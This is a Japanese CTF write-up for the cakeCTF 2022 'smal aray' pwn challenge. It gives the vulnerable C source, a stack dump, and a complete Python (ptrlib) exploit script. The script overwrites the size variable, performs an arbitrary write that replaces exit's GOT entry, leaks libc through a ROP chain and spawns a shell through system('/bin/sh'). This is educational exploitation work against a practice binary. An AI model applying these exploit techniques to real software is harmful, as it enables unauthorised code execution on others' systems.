cakeCTF 2022 smal aray upsolve

  • ~4.03K Words
  1. 1. cakectf 2022 smal aray

cakectf 2022 smal aray

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define ARRAY_SIZE(n) (n * sizeof(long))
#define ARRAY_NEW(n) (long*)alloca(ARRAY_SIZE(n + 1))

int main() {
long size, index, *arr;

printf("size: ");
if (scanf("%ld", &size) != 1 || size < 0 || size > 5)
exit(0);

arr = ARRAY_NEW(size);
while (1) {
printf("index: ");
if (scanf("%ld", &index) != 1 || index < 0 || index >= size)
exit(0);

printf("value: ");
scanf("%ld", &arr[index]);
}
}

__attribute__((constructor))
void setup(void) {
alarm(180);
setbuf(stdin, NULL);
setbuf(stdout, NULL);
}

以上のコードが動いてます。初めにsizeを決めて、その後にindexvalueを決めていきます。

sizeは5までしか入れられません。しかし、これらのメモリはcallocaによりheap上ではなく、stack上にメモリ確保されます。以下はsizeに5を、indexを4入れている状況です。

1
2
3
4
5
6
7
8
00:0000│ rsp 0x7ffc7ece5fd0 —▸ 0x7ffc7ece6138 —▸ 0x7ffc7ece7d8c ◂— 0x6c6c6168632f2e /* './chall' */
01:0008│-038 0x7ffc7ece5fd8 —▸ 0x7ff5f3f4a2e0 ◂— 0
02:0010│-030 0x7ffc7ece5fe0 —▸ 0x7ffc7ece6010 —▸ 0x7ffc7ece60b0 —▸ 0x7ffc7ece6110 ◂— 0
03:0018│-028 0x7ffc7ece5fe8 —▸ 0x4011fa (main+68) ◂— cmp eax, 1
04:0020│-020 0x7ffc7ece5ff0 ◂— 5
05:0028│-018 0x7ffc7ece5ff8 ◂— 4
06:0030│-010 0x7ffc7ece6000 —▸ 0x7ffc7ece5fd0 —▸ 0x7ffc7ece6138 —▸ 0x7ffc7ece7d8c ◂— 0x6c6c6168632f2e /* './chall' */
07:0038│-008 0x7ffc7ece6008 ◂— 0x608efa062f5d9d00
img

よって、indexsizeの配置場所と被ることがわかるので、これを使ってsizeを大きくすることでstackに任意書き込みできるようにしていきます。具体的にはsizeを5、indexを4、value0xffffffffです。

これによりstackに対する任意書き込みが成立します。

一方でindexの計算は6番目に配置されているアドレスを基に計算されている=それも変えることでAAWができますが、stackに対する書き込みは基本的にできなくなります。

というわけで、一回のAAW使ってlibc leakを行っていきます。具体的なlibcはgot overwriteとropでやっていきます。

rop chainはpop_rdi_ret -> printf_got -> call print -> main+8で想定しています。got overwriteはexitにstack調整用のpop r15 retにしています。

この時、戻り先は色々ありますが、この先もropでshellを得たいので、stackに書き込めるようにmain+8にもどるようにしています。

これでlibc leakができたのでshellを取っていきます。この時に、先ほどのsizeのoverwriteはできないので5つの部品を使ってropを組んでいきます。このropは簡単で、pop rdi ret-> /bin/shのアドレス->systemのアドレスで終わりです。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
"""
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
"""
from ptrlib import *


# io = process(["./ld-2.31.so","./chall"], env={"LD_PRELOAD": "./libc-2.31.so"})
# libc = ELF("./libc-2.31.so")
io = process("./chall")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF("./chall")

print(libc.symbols())

io.debug = True


def AAW(addr, mem):
io.sendlineafter(b": ", b"6")
io.sendlineafter(b": ", addr)
io.sendlineafter(b": ", b"0")
io.sendlineafter(b": ", mem)


def Write_stack(index, mem):
io.sendlineafter(b": ", index)
io.sendlineafter(b": ", mem)


pop_r15_ret = 0x004013e2
pop_rdi_ret = 0x004013e3
printf_got = 0x404020 # printf
exit_func = 0x404038


io.sendlineafter(b": ", b"5")
io.sendlineafter(b": ", b"4")
io.sendlineafter(b": ", 0xfffffffff)


Write_stack(0, pop_rdi_ret)
Write_stack(1, printf_got)
Write_stack(2, 0x401090)
Write_stack(3, elf.symbol("main") + 8)

AAW(exit_func, pop_r15_ret)


input("STAY...")
io.sendlineafter(b": ", -1)
libc_base = u64(io.recv(6))
print(hex(libc_base))
# libc_base = libc_base - libc.symbol("_IO_printf")
libc_base = libc_base - libc.symbol("__printf")
print(hex(libc_base))
libc.base = libc_base


bin_sh = next(libc.find("/bin/sh"))
io.sendline(5)

Write_stack(0, 0x004013e3) # pop rdi; ret;
Write_stack(1, next(libc.find("/bin/sh"))) # "/bin/sh"
Write_stack(2, libc.symbol("system")) # "/bin/sh"

io.sendlineafter(b": ", -1)

io.sh()